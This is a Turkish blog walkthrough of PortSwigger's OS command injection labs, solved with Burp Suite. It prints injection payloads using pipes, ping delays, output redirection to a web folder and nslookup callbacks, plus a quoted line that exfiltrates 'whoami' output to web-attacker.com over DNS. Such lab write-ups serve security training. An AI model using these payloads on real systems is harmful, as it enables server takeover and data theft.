HACKING

OS Command Injection | PortSwigger

OS Command Injection Nedir ?

OS command injection (kabuk enjeksiyonu olarak da bilinir), bir saldırganın bir uygulamayı çalıştıran sunucuda rastgele işletim sistemi (OS) komutları yürütmesine ve genellikle uygulamayı ve tüm verilerini tamamen tehlikeye atmasına olanak tanıyan bir web güvenlik açığıdır. Çoğu zaman, bir saldırgan, barındırma altyapısının diğer bölümlerini tehlikeye atmak için bir işletim sistemi komut enjeksiyonu güvenlik açığından yararlanabilir ve saldırıyı kuruluş içindeki diğer sistemlere yönlendirmek için güven ilişkilerinden yararlanabilir.

https://portswigger.net/web-security/os-command-injection

Kullanışlı Komutlar

Purpose of commandLinuxWindows
Name of current userwhoamiwhoami
Operating systemuname -aver
Network configurationifconfigipconfig /all
Network connectionsnetstat -annetstat -an
Running processesps -eftasklist
https://portswigger.net/web-security/os-command-injection

OS Command Injection Yolları

OS command injection saldırıları gerçekleştirmek için çeşitli kabuk meta karakterleri kullanılabilir.

Bir dizi karakter, komut ayırıcı olarak işlev görür ve komutların birbirine zincirlenmesine izin verir. Aşağıdaki komut ayırıcılar hem Windows hem de Unix tabanlı sistemlerde çalışır:

https://portswigger.net/web-security/os-command-injection
  • &
  • &&
  • |
  • ||

Aşağıdaki komut ayırıcılar yalnızca Unix tabanlı sistemlerde çalışır:

https://portswigger.net/web-security/os-command-injection
  • ;
  • Newline ( 0x0a or \n)

Unix tabanlı sistemlerde, orijinal komut içinde enjekte edilen bir komutun satır içi olarak yürütülmesini gerçekleştirmek için backtick işaretlerini veya dolar karakterini de kullanabilirsiniz:

https://portswigger.net/web-security/os-command-injection
  • ` injected command `
  • $( injected command )

Farklı kabuk meta karakterlerinin, belirli durumlarda çalışıp çalışmadıklarını ve komut çıktısının bant içi alınmasına izin verip vermediklerini veya yalnızca kör sömürü (blind) için yararlı olup olmadıklarını etkileyebilecek ince farklı davranışlara sahip olduğuna dikkat edin.

Bazen, kontrol ettiğiniz girdi, orijinal komutta tırnak işaretleri içinde görünür. Bu durumda, yeni bir komut enjekte etmek için uygun kabuk meta karakterlerini kullanmadan önce (veya " or ' kullanarak) alıntılanan bağlamı sonlandırmanız gerekir .

https://portswigger.net/web-security/os-command-injection

Blind OS Command Injection

OS command injection‘un birçok örneği kör (blind) güvenlik açıklarıdır. Bu, uygulamanın HTTP yanıtı içinde komuttan çıktıyı döndürmediği anlamına gelir. Kör güvenlik açıklarından yine de yararlanılabilir, ancak farklı teknikler gereklidir.

https://portswigger.net/web-security/os-command-injection

PortSwigger Labs

Lab: OS command injection, simple case

Uygulama, kullanıcı tarafından sağlanan ürün ve mağaza kimliklerini içeren bir kabuk komutu yürütür ve yanıtında komuttan ham çıktıyı döndürür. Laboratuvarı çözmek için (whoami)komutunu yürüteceğiz.

https://portswigger.net/web-security/os-command-injection

Karşımıza çeşitli ürünlerin satıldığı bir site geliyor.

Seçtiğimiz bir ürünün stok kontrolünü sorgulayabileceğimiz bir buton bulunmakta. Burp Suite ile araya girerek bu isteği yakalayıp komut enjeksiyonunu buradan yapacağız.

Görüldüğü üzere storeId=1 ile id numarası 1 olan şehri sorguluyoruz.

storeId=1 | whoami komutunu pipe (|) işareti ile çalıştırıyorum ve aşağıda görüldüğü gibi komut çalışarak cevabı alıyorum.

Lab: Blind OS command injection with time delays

Uygulama, kullanıcı tarafından sağlanan ayrıntıları içeren bir kabuk komutunu yürütür. Komutun çıktısı yanıtta döndürülmez. Laboratuvarı çözmek için, 10 saniyelik bir gecikmeye neden olmak için blind OS command injection güvenlik açığından yararlanacağız.

https://portswigger.net/web-security/os-command-injection

Görüldüğü üzere Feedback kısmına gelerek bu kısımdan ilerleyeceğiz. Burp ile isteği yakalayıp email parametresine komut enjeksiyonunu yapacağız ve yanıt 10 saniye geciktiğinde labı çözmüş olacağız.

Gerekli kısımları doldurduktan sonra isteği yakalıyorum. Bu kısımda gecikmeyi almak için ping komutunu kullanacağız. Ping -c ile kaç adet paket göndermek istersek onu belirteceğiz. Çeşitli payloadlar için buradaki Github reposunu ziyaret edebilirsiniz.

İsteği yakalayıp email kısmına ||ping+-c+10+127.0.0.1|| payloadını yazarak repeaterda isteği gönderiyorum. Aşağıda görüldüğü üzere istek yaklaşık olarak 10 saniye kadar gecikmeli oluyor ve bu labın çözümünü de yaparak devam ediyorum.

Lab: Blind OS command injection with output redirection

Uygulama, kullanıcı tarafından sağlanan ayrıntıları içeren bir kabuk komutunu yürütür. Komutun çıktısı yanıtta döndürülmez. Ancak, çıktıyı komuttan yakalamak için çıktı yeniden yönlendirmesini kullanabilirsiniz. Şurada yazılabilir bir klasör var:

/var/www/images/

Uygulama, ürün kataloğu için görüntüleri bu konumdan sunar. Eklenen komuttan çıktıyı bu klasördeki bir dosyaya yeniden yönlendirebilir ve ardından dosyanın içeriğini almak için görüntü yükleme URL’sini kullanabilirsiniz. Laboratuvarı çözmek için whoami komutu yürütüp ve çıktıyı almamız gerekiyor.

https://portswigger.net/web-security/os-command-injection

Feedback kısmına geliyoruz. Burayı doldurarak isteği yakalayacağız.

İsteği yakaladık. Email parametresine ||whoami>/var/www/images/serdar.txt|| komutunu ekleyerek isteği göndereceğim. Daha sonra whoami komutunun çıktısını yazdığımız dosyayı filename parametresi ile okuyacağım.

Komutu yazarak isteği gönderdim ve 200 yanıtı döndü.

Sayfayı yeniden yüklediğimde resimlerin yüklendiği isteği yakalıyorum. Bu kısma serdar.txt yazarak isteği göndereceğim.

Evet başarılı bir şekilde whoami komutunun çıktısını yazdığımız dosya olan serdar.txt dosyasını okudum ve lab çözümünü tamamladım.

Lab: Blind OS command injection with out-of-band interaction

OAST tekniklerini kullanarak, kontrol ettiğiniz bir sistemle bant dışı bir ağ etkileşimini tetikleyecek yerleştirilmiş bir komut kullanabilirsiniz.

Uygulama, kullanıcı tarafından sağlanan ayrıntıları içeren bir kabuk komutunu yürütür. Komut eşzamansız olarak yürütülür ve uygulamanın yanıtı üzerinde hiçbir etkisi yoktur. Çıktıyı erişebileceğiniz bir konuma yeniden yönlendirmek mümkün değildir. Ancak, harici bir alanla bant dışı etkileşimleri tetikleyebilirsiniz.

Laboratuvarı çözmek için, Burp Collaborator’a bir DNS araması yayınlamak için kör işletim sistemi komut enjeksiyonu güvenlik açığından yararlanacağız.

https://portswigger.net/web-security/os-command-injection

Feedback kısmına geliyoruz ve gerekli kısımları doldurup isteği Burp Suite ile yakalıyorum. Daha sonra aşağıda görüldüğü üzere email parametresini email=serdar%40serdar.com||nslookup+serdar%40serdar.com.burpcollaborator.net|| bu şekilde düzenleyip isteği gönderiyorum. Bu komut (nslookup), belirtilen etki alanı için bir DNS aramasına neden olmak için komutu kullanır . Saldırgan, gerçekleşen belirli aramayı izleyebilir ve böylece komutun başarıyla enjekte edildiğini tespit edebilir.

Lab çözümünü tamamlayıp son lab için devam ediyorum.

Lab: Blind OS command injection with out-of-band data exfiltration

Bant dışı kanal ayrıca, çıktıyı enjekte edilen komutlardan çıkarmak için kolay bir yol sağlar:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

Bu, saldırganın etki alanında whoami komutun sonucunu içeren bir DNS aramasına neden olur :

wwwuser.kgji2ohoyw.web-attacker.com

https://portswigger.net/web-security/os-command-injection

Bu labı çözmek için Burp Suite Pro sürümü gerekli. Elimde bu çözüm kullanabileceğim başka bir kaynak olmadığı için burada çözümü bitiriyorum. Diğer çözümden farkı yukarıda anlatılmakta. Karmaşık bir çözüm olmadığı için çözümünü yapmasamda kolay anlaşılacağını düşünüyorum.

OS Command Injection için bWAPP Lab çözümlerini de yaparak olayın mantığı iyice kavranabilir. PortSwigger içerisinde oldukça kaliteli eğitimler ve lablar yer almakta mutlaka tavsiye ediyorum. Ben çözümün tamamında PortSwigger OS Command Injection eğitiminden faydalandım.

Başka yazılarda görüşmek üzere.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

two × 1 =

Başa dön tuşu